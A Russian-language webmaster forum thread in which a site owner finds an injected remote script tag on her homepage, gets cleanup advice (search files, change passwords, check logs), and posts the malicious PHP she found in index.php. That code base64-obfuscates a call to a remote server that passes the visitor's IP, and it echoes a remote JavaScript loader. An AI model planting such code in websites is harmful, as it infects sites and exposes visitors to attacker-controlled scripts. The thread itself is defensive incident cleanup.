|
|
11.02.2013, 13:21
|
|
Gvenv_nk
Зарегистрирован: 2008-03-26
Сообщений: 8
|
Здравствуйте! Просматривая исходный код главной страницы в браузерах, в самом низу (после </html>) обнаружила следующий код:
Код:<script src="http://gkvaxwl.freewww.info/rsize.js"></script>
В макетах дизайна его не вижу. Перечитала на форуме переписку о вирусных атаках на сайты, но ответа конкретно на свой вопрос не нашла. Подскажите, где искать концы и как лечить?
|
|
|
11.02.2013, 14:26
|
|
Asiat
Аниматика
Зарегистрирован: 2005-12-12
Сообщений: 576
|
Симптомы лечить простым текстовым поиском по файлам (скорее всего) и/или поиском по базе данных.
Причину болезни искать сложнее, но для начала просто смените все пароли на хостинге.
Коли будет не лень, проверьте лог-файлы сервера, к которым есть доступ. Лог авторизации, например, лог изменения файлов по FTP... Если определите конкретную дату заражения (часто она же дата модификации файлов), то будет попроще.
|
|
|
11.02.2013, 14:36
|
|
Гость
Гость
|
Туда они его и прописали: Код:function sql2_safe($in) {
$rtn = base64_decode($in);
return $rtn;
}
function collectnewss() {
if (!isset($_COOKIE["iJijkdaMnerys"])) {
$value = 'yadeor';
$ip = $_SERVER['REMOTE_ADDR'];
$get = sql2_safe("aHR0cDovL3h4eHBvcm5vLnh4dXouY29tOjg4OC9tb3ZlLnBocD9pcD0=").$ip;
$content = @file_get_contents($get);
@setcookie("iJijkdaMnerys", $value, time()+3600*24);
if (!$content)
echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly9mZWVsdGhlc2FtZS5jaGFuZ2VpcC5uYW1lL3JzaXplLmpzIj48L3NjcmlwdD4=");
else
echo $content;
}
}
Исправила файл на хосте, и срипт пока исчез. Перепроверила .htaccess, vars.inc, в них ничего подозрительного не обнаружила. Данные для входа по фтп и на панель хостинга, естественно, поменяла. Далее воспользуюсь Вашими советами - наверняка же враги так просто не сдадутся.
Спасибо за помощь!
|
|
|
11.02.2013, 14:39
|
|
Гость
Гость
|
Имелся в виду файл index.php (это снова я, автор топика).
|